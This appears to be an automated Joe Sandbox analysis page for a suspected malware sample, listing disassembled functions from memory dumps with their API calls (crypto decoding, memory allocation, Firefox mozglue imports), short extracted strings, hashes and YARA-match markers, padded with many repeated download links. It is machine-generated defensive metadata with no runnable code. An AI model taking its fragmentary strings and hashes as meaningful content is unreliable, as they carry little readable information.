Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: 5fcaa7695376ecffbe937f04994baf424a43632916e0c6e509ed700b4e3eefb5
Instruction ID: fc902ab0514fb168b71bfbcca18a899c1746a26e9ba6a4272cadc93be883cc82
Opcode Fuzzy Hash: 5fcaa7695376ecffbe937f04994baf424a43632916e0c6e509ed700b4e3eefb5
Instruction Fuzzy Hash: 824180B5D1420AEFCF10DF90DD89BFEB7B8BB48344F1042A8E609A6280D7745A84DF91

Function 6C662C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C662C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C662C61

Part of subcall function 6C614DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C614E5A
Part of subcall function 6C614DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C614E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C662C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C662E2D

Part of subcall function 6C6281B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6281DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C662E3B
expected a Time entry, xrefs: 6C662E36
(root), xrefs: 6C66354F

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: eb5817eb4cfc49829ab9a91b8236e7e402fc86314f3f220a827db1cbca9c961e
Instruction ID: dab938df6cda05c5aa2675c45cccac0f78f51cbb0cd2ccf955e8ec4a03326b9f
Opcode Fuzzy Hash: eb5817eb4cfc49829ab9a91b8236e7e402fc86314f3f220a827db1cbca9c961e
Instruction Fuzzy Hash: C291A1706087418FC724CF26C49469EB7E1AFCA358F50892DE59A8BB90DB30D949CB5F

Function 6C61D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C61D852
, xrefs: 6C61DA88
1, xrefs: 6C61DBDD
8, xrefs: 6C61DC08
0, xrefs: 6C61DC7F
-, xrefs: 6C61D7DD
9, xrefs: 6C61DE7F
@, xrefs: 6C61DAF6

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: ad4e143ac0d1190df91e67226925cf8452db38b61bc2216d3c68ec11dbbb3db5
Instruction ID: e0dd0ff16ecbdb7d940dddd86d4a90618c3f2d794ecf95c5199e4d293677946e
Opcode Fuzzy Hash: ad4e143ac0d1190df91e67226925cf8452db38b61bc2216d3c68ec11dbbb3db5
Instruction Fuzzy Hash: 4B62BE7150C3858FD706CE2DC09079EBBF2AF8635AF184A0DE4E54BE91C3359985CB8A

Function 6C68545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C688A4B

Strings

~qal, xrefs: 6C689459, 6C685703, 6C68921F, 6C6856C7, 6C685740, 6C689269, 6C68948F

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memset
String ID: ~qal
API String ID: 2221118986-3346365761
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 54a085e26d90500e6221a0d35f9203cb23477ccf1d023fb07b4e8bbcc3406c36
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 4AB1FA72E0621ACFDB14CF68CC907E9B7B2EF85314F1802A9C549EB795D7309985CBA4

Function 6C68542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6888F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C68925C

Strings

~qal, xrefs: 6C689459, 6C685703, 6C68921F, 6C6856C7, 6C685740, 6C689269, 6C68948F

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memset
String ID: ~qal
API String ID: 2221118986-3346365761
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: a32c37e741a22a3f996d97e22cdf0def0b3bde83d4a6f9deda43bae4bb060487
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 36B1C572E0620A8FDB14CF68C8916EDB7B2EF85314F140269C549EB795D730A989CBA4

Function 00B45A9C Relevance: 9.1, Strings: 6, Instructions: 1573COMMON

Download Yara Rule

Strings

Ev?~, xrefs: 00B45C0D
Fo, xrefs: 00B46629
.1, xrefs: 00B466F7
!mb[, xrefs: 00B46264
h?, xrefs: 00B46CE5
q?wK, xrefs: 00B46492

Memory Dump Source

Source File: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .1$!mb[$Ev?~$h?$q?wK$Fo
API String ID: 0-2542634267
Opcode ID: 763f25e45c228828ff8d046a0765d298542da3e5b68efb9b2a43906f71dd224b
Instruction ID: e73b3335899e73880544b4ee831ec9c91a060b1b5597e801a7ab1de018ece3d7
Opcode Fuzzy Hash: 763f25e45c228828ff8d046a0765d298542da3e5b68efb9b2a43906f71dd224b
Instruction Fuzzy Hash: F8A2F8F3A0C2049FE704AE2DEC85A7AF7E9EF94720F1A453DEAC4C3744E63558058696

Function 00B3EE50 Relevance: 9.1, Strings: 6, Instructions: 1561COMMON

Download Yara Rule

Strings

w={{, xrefs: 00B3F8F4
g^[, xrefs: 00B3EFAD
o0Po, xrefs: 00B3FF4D
B-, xrefs: 00B3F3F2
w={{, xrefs: 00B3F974
M[ &, xrefs: 00B3F785

Memory Dump Source

Source File: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID:
String ID: B-$M[ &$g^[$o0Po$w={{$w={{
API String ID: 0-657761732
Opcode ID: 33215380ca2e3b06a18fa60c9ec52a91a098c26e6f5798601af53d1c72fac4e0
Instruction ID: da2887ed1ca5de6d738dd8934d9a8638601a20087af1bd1bb7edbd2f6f1419ed
Opcode Fuzzy Hash: 33215380ca2e3b06a18fa60c9ec52a91a098c26e6f5798601af53d1c72fac4e0
Instruction Fuzzy Hash: 92B218F3A0C2109FE304AE2DEC4567ABBE5EF94720F1A893DEAC5C3744E63558058697

Function 00779AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nw,00000000,00000000), ref: 00779AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00774EEE,00000000,?), ref: 00779B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nw,00000000,00000000), ref: 00779B2A
LocalFree.KERNEL32(?,?,?,?,00774EEE,00000000,?), ref: 00779B3F

Strings

Nw, xrefs: 00779AD4, 00779AE1, 00779AF9, 00779B18, 00779AE4, 00779B1B

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: Nw
API String ID: 4291131564-1151996552
Opcode ID: 44dff40c4f98d401477a90d8061b593a9934d988d057730e26b14127c95bbb22
Instruction ID: 3980ccaedf2fbf74302554a558fa3fcc27e538bca543cdb74ed911150d17c06b
Opcode Fuzzy Hash: 44dff40c4f98d401477a90d8061b593a9934d988d057730e26b14127c95bbb22
Instruction Fuzzy Hash: 3311A4B4241308AFEB10CF64DD95FAA77B5FB89710F208158FA199B390C775A901DB50

Function 00B40878 Relevance: 7.9, Strings: 5, Instructions: 1690COMMON

Download Yara Rule

Strings

Qz, xrefs: 00B408E7
hb$, xrefs: 00B418EA
$ wo, xrefs: 00B41AC3
T3S>, xrefs: 00B40DE7
SpE<, xrefs: 00B408F5

Memory Dump Source

Source File: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Qz$$ wo$SpE<$T3S>$hb$
API String ID: 0-550820977
Opcode ID: 11641ef8f5b468476e89b441057402ca63a5d5686e261018801d2e05e5fbec22
Instruction ID: ca35ff76fc46a09ed75cd4c5db8696299a683764ca66a03ebddac13dc70fc79e
Opcode Fuzzy Hash: 11641ef8f5b468476e89b441057402ca63a5d5686e261018801d2e05e5fbec22
Instruction Fuzzy Hash: 83B227F360C2049FE7046E29EC8567AFBE9EFD4720F1A893DE6C5C3744EA3598058652

Function 00B382B6 Relevance: 7.9, Strings: 5, Instructions: 1615COMMON

Download Yara Rule

Strings

t{!., xrefs: 00B38C1C
$rwy, xrefs: 00B3841C
QDWw, xrefs: 00B3891F
:=, xrefs: 00B39659
f7, xrefs: 00B390AB

Memory Dump Source

Source File: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID:
String ID: f7$$rwy$QDWw$t{!.$:=
API String ID: 0-3826675100
Opcode ID: 43745e268212627b3caf12b2a408e73e8ef4759b488419060cefdb1380c9dd67
Instruction ID: 11206c61a6072ce38c8eaaf73a813a4f2d20c71104dbce88812b31f17891a6dd
Opcode Fuzzy Hash: 43745e268212627b3caf12b2a408e73e8ef4759b488419060cefdb1380c9dd67
Instruction Fuzzy Hash: 23B213F360C2009FE7086E2DEC8577ABBE5EF94320F1A4A3DE6C5C3744EA3558058696

Function 00B3D3A3 Relevance: 7.8, Strings: 5, Instructions: 1549COMMON

Download Yara Rule

Strings

gmz, xrefs: 00B3DD9D
*B/;, xrefs: 00B3D477
CmV, xrefs: 00B3E2BB
|], xrefs: 00B3DFB0
.&A?, xrefs: 00B3DEB4

Memory Dump Source

Source File: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
